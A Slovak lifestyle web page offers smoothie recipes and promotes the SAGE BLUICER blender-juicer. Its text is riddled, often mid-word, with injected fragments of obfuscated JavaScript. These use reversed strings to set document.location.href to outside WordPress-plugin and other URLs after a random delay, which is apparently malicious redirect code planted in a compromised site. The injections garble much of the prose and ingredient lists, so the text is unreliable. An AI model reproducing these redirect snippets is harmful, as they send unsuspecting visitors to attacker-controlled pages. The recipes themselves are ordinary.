Recepty na poriadne vitamínové bomby, ktorým nik neodolá

| 24 októbra, 2020

Najchutnejším spôsobom, ako do seba dostať maximum vitamínov, minerálov, vlákniny a všetkých ďalších dôležitých látoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tok z ovocia a zeleniny je jednoznačne smoothie. Husté smoothie bowl je skvelý základ raňajok, ktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toré vás naštartujú aj po prebdenej noci. Takétoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to smoothie by malo mať hustejšiu konzistenciu, pripomínajúcu sorbet. Hodvábne jemnésmoothie redšej konzistencie zas pomôže preklenúť čas medzi obedom a večerou.

Najlepší spôsob odšťavovania a prípravy smoothiezaručí BLUICER
Iste budete súhlasiť, že čerstvej šťave sa nevyrovná ani ten najkvalitnejší džús. A smoothie bez mixéra nespravíte. Pretoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toaustrálska spoločnosť SAGE prišla na trh s jednoduchým efektívnym riešením – spojila mixér, smoothie mixéra odšťavovač do jedného a vznikol BLUICER.
Odšťavovanie, mixovanie a prípravu smoothie s ním dosiahnete iba jednoduchou výmenou príslušenstva, pričom základňa zostáva rovnaká. Päť prednastavených programov a 10 rýchlostí umožňuje dokonalú prípravu nielen smoothie, kokteilov alebo štiav, ale i krémových polievok, nátierok či drveného ľadu. Pri odšťavovaní sa šťava zbytoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}točne neprehrieva, takže straty vitamínov sú absolútne minimálne. Špeciálne vyvinutý systém oceľových nožov a misiek Kinetix® v procese mixovania primiešava vzduch, takže výsledok je neskutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}točne krémový a ľahký. BLUICER od spoločnosti SAGE nájdete na www.sagesk.sk a oplatí sa sledovať aj FB a IG Sage SK.

A teraz sa nechajte inšpirovať našimi nápadmi!

Smoothie bowl „Ranná vzpruha“

• 2 stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonky stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonkového zeleru
• 2 jablká
• 2 PL goji
• 1 červená repa
• ½ citróna
• 200 ml čerstvej pomarančovej šťavy
• Ovsené vločky a nasekané orechy na posypanie.

Do mixéra nalejeme 100 ml džúsu, pridáme očistenú zeleninu, jablká a goji a zmixujeme. Podľa chuti ešte môžeme zriediť šťavou. Dáme do misky a podávame posypané nahrubo nakrájanými orechami a ovsenými vločkami.

Exotické smoothie bowl s müsli

• 250 ml ananásovej šťavy
• 65 g manga
• 60 g malín (môžu byť aj mrazené) + 40 g malín (na servírovanie)
• 5 lyžíc ovsených vločiek
• 1 lyžicu chia semiačok
• 35 g chrumkavé zapečené müsli bez pridaného cukru (na servírovanie)

Ananásovú šťavu, mango, ovsené vločky, chia semiačka a časť malín dáme do nádoby mixéra a mixujte 15 – 20 sekúnd. Smoothie prelejeme do misky a ozdobíme malinami, müsli, mangom.

Osviežujúca smoothie desiata

• 1/2 uhorky
• 2 lyžice tekutého medu
• 1 grapepfruit
• 5 zelených jabĺk
• Jahody na ozdobu

Do nádoby mixéra dáme očistený grapepfruit a med a rozmixujeme. Pridáme nakrájané jablká a uhorky a všetko spolu zmixujeme. Prelejeme do pohára, ozdobíme jahodami,prípadne dosladíme medom.

Kokosové smoothie namiestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to sladkostí

• 100 g jahôd
• 50 g čučoriedok
• 1 banán
• 1 lyžica strúhaného kokosu
• cca 100 ml kokosového alebo mandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andľového mlieka

Ovocie a kokos vložíme do mixéra a rozmixujeme. Pridámekokosové alebo mandom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andľové mlieko, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to celú zmes nariedi a zjemní.

Rýchly olovrant

• 250 ml mrkvovej šťavy
• 185 g lesných plodov (môžu byť aj mrazené)
• Pár kvapiek citrónovej šťavy

Mrkvu odšťavíme, pridáme lesné plody, rozmixujeme a podávame.

 

Tags:

Category: GOURMET, VYCHYTÁVKY, ZDRAVIE a FIT

«
»